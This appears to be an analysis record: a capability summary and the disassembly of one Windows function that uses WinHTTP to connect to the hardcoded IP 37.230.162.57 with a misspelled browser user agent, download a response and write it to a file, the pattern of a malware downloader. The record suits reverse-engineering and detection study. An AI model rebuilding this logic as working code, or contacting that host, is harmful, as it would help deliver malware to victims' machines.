Function at 0x140002660
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x10a0]
mov eax, 0x11a0
call fcn.140008ba0
sub rsp, rax
mov rax, qword [0x140037080]
xor rax, rsp
mov qword [rbp + 0x1090], rax
mov r14, rdx
mov rbx, rcx
xor r15d, r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Mozila_5.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rdi, rax
test rax, rax
je 0x1400028f6
mov r8d, 0x1539
xor r9d, r9d
lea rdx, str.37.230.162.57
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rsi, rax
test rax, rax
je 0x1400028ed
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov r8, rbx
lea rdx, [0x140031558]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rbx, rax
test rax, rax
je 0x1400028e4
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x1400028db
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x1400028db
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x80]
call fcn.140025290
mov rdx, r14
lea rcx, [rbp - 0x80]
call fcn.140002b30
nop
cmp qword [rbp + 8], r15
je 0x140002856
nop word [rax + rax]
lea r9, [rsp + 0x78]
mov r8d, 0x1000
lea rdx, [rbp + 0x90]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x140002816
mov eax, dword [rsp + 0x78]
test eax, eax
je 0x1400027c1
mov r8d, eax
lea rdx, [rbp + 0x90]
lea rcx, [rbp - 0x80]
call fcn.140002cd0
cmp dword [rsp + 0x78], 0
ja 0x140002780
lea rcx, [rbp - 0x78]
call fcn.140004b30
test rax, rax
jne 0x140002856
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx - 0x38], 0
cmovne eax, edx
or eax, dword [rbp + rcx - 0x70]
and eax, 0x17
mov dword [rbp + rcx - 0x70], eax
mov edx, dword [rbp + rcx - 0x6c]
and edx, eax
je 0x140002856
test dl, 4
je 0x140002970
lea rbx, str.ios_base::badbit_set
jmp 0x140002985
lea rcx, [rbp - 0x78]
call fcn.140004b30
test rax, rax
jne 0x140002856
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx - 0x38], 0
cmovne eax, edx
or eax, dword [rbp + rcx - 0x70]
and eax, 0x17
mov dword [rbp + rcx - 0x70], eax
mov edx, dword [rbp + rcx - 0x6c]
and edx, eax
jne 0x14000291c
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x80], rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x7c], edx
lea rcx, [rbp - 0x78]
call fcn.140003c00
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x80], rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x7c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x28], rax
lea rcx, [rbp + 0x28]
call fcn.140007b58
nop
jmp 0x1400028f6
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp + 0x1090]
xor rcx, rsp
call fcn.140008550
mov rbx, qword [rsp + 0x11e0]
add rsp, 0x11a0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
test dl, 4
je 0x14000292a
lea rbx, str.ios_base::badbit_set
jmp 0x14000293f
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.140001600
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140001e70
lea rdx, [0x140035ce0]
lea rcx, [rsp + 0x50]
call fcn.14000a33c
int3
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.140001600
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140001e70
lea rdx, [0x140035ce0]
lea rcx, [rsp + 0x50]
call fcn.14000a33c
int3